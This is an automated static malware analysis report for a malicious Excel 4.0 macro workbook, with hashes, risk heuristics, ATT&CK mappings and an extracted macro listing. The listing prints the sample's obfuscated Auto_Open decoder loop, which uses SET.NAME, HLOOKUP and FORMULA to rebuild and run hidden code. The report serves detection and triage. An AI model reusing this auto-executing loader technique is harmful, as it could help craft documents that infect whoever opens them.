Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 003403b173bea04d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:35:18 Authoring application: Microsoft Excel First seen: 2021-09-17
MD5: 51c7b85acc83f76c1762821f62f2a386 SHA-1: b68339c8c45938315be96b0146731effc1c75a35 SHA-256: 003403b173bea04deb4e5dd37242cbbfb9a22f0f95fe04f6dc1bf31996ff2d63
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Critical heuristics indicate the presence of an Auto_Open defined name and the use of dangerous formula APIs, specifically 'RUN'. This strongly suggests the macro is designed to execute arbitrary code, likely a second-stage payload. No specific family could be identified from the available evidence.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6531 bytes
SHA-256: 8fd381b75018d7c474cfee700a6d29c7132115c51ccd842575a60c0209ccc66f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  npfnXlq
' 0018     25 LABEL : Cell Value, String Constant - arzFotssnU len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D178 
' 0018     21 LABEL : Cell Value, String Constant - BaDQsC len=0 
' 0018     21 LABEL : Cell Value, String Constant - biPNFW len=0 
' 0018     27 LABEL : Cell Value, String Constant - BLuaNsjxIRgR len=0 
' 0018     26 LABEL : Cell Value, String Constant - CbTrLXSxvPA len=0 
' 0018     24 LABEL : Cell Value, String Constant - FeaBIveCz len=0 
' 0018     23 LABEL : Cell Value, String Constant - izZrrIzP len=0 
' 0018     24 LABEL : Cell Value, String Constant - KDXqsAdTi len=0 
' 0018     24 LABEL : Cell Value, String Constant - KikIyEeOc len=0 
' 0018     22 LABEL : Cell Value, String Constant - nyXHPgH len=0 
' 0018     26 LABEL : Cell Value, String Constant - orjBCklBhnv len=0 
' 0018     24 LABEL : Cell Value, String Constant - oSmTVqTDD len=0 
' 0018     20 LABEL : Cell Value, String Constant - pvMoZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - sblkhUyY len=0 
' 0018     25 LABEL : Cell Value, String Constant - sqcADsTfmy len=0 
' 0018     26 LABEL : Cell Value, String Constant - TTVoHObmvqg len=0 
' 0018     21 LABEL : Cell Value, String Constant - VdXtGE len=0 
' 0018     27 LABEL : Cell Value, String Constant - vrJozafgKlak len=0 
' 0018     25 LABEL : Cell Value, String Constant - YzSsyfebHc len=0 
' 0018     23 LABEL : Cell Value, String Constant - zcJmPYkY len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  npfnXlq,D89,"SET.NAME("YzSsyfebHc",VALUE("0"))",""
'  npfnXlq,D93,"SET.NAME("KDXqsAdTi",YzSsyfebHc)",""
'  npfnXlq,D97,"SET.NAME("sqcADsTfmy",YzSsyfebHc)",""
'  npfnXlq,D100,"SET.NAME("arzFotssnU",COUNTA(TTVoHObmvqg))",""
'  npfnXlq,D103,"SET.NAME("oSmTVqTDD",COUNTA(BaDQsC))",""
'  npfnXlq,D105,[],""
'  npfnXlq,D110,"SET.NAME("zcJmPYkY","")",""
'  npfnXlq,D114,"KDXqsAdTi",""
'  npfnXlq,D117,"SET.NAME("orjBCklBhnv",HLOOKUP("*",TTVoHObmvqg,KDXqsAdTi,FALSE))",""
'  npfnXlq,D119,"CbTrLXSxvPA",""
'  npfnXlq,D123,"SET.NAME("VdXtGE",YzSsyfebHc)",""
'  npfnXlq,D128,[],""
'  npfnXlq,D131,"VdXtGE",""
'  npfnXlq,D136,"BLuaNsjxIRgR",""
'  npfnXlq,D138,"KikIyEeOc",""
'  npfnXlq,D140,"biPNFW",""
'  npfnXlq,D142,"SET.NAME("pvMoZ",VALUE(HLOOKUP("*",BaDQsC,biPNFW,FALSE)))",""
'  npfnXlq,D147,"FeaBIveCz",""
'  npfnXlq,D149,"zcJmPYkY",""
'  npfnXlq,D151,"sqcADsTfmy",""
'  npfnXlq,D156,NEXT(),""
'  npfnXlq,D160,"sblkhUyY",""
'  npfnXlq,D165,"SET.NAME("f",INT(T(FORMULA(T(zcJmPYkY)&"",""&T(sblkhUyY)))))",""
'  npfnXlq,D168,"nyXHPgH",""
'  npfnXlq,D170,NEXT(),""
'  npfnXlq,D175,RETURN(),""
'  npfnXlq,D198,"SET.NAME("vrJozafgKlak",D89)",""
'  npfnXlq,D202,"TTVoHObmvqg",""
'  npfnXlq,D206,"SET.NAME("BaDQsC",R64C15)",""
'  npfnXlq,D210,"SET.NAME("nyXHPgH",218)",""
'  npfnXlq,D215,"SET.NAME("izZrrIzP",4)",""
'  npfnXlq,D217,vrJozafgKlak(),""
'  npfnXlq,D218,HALT(),""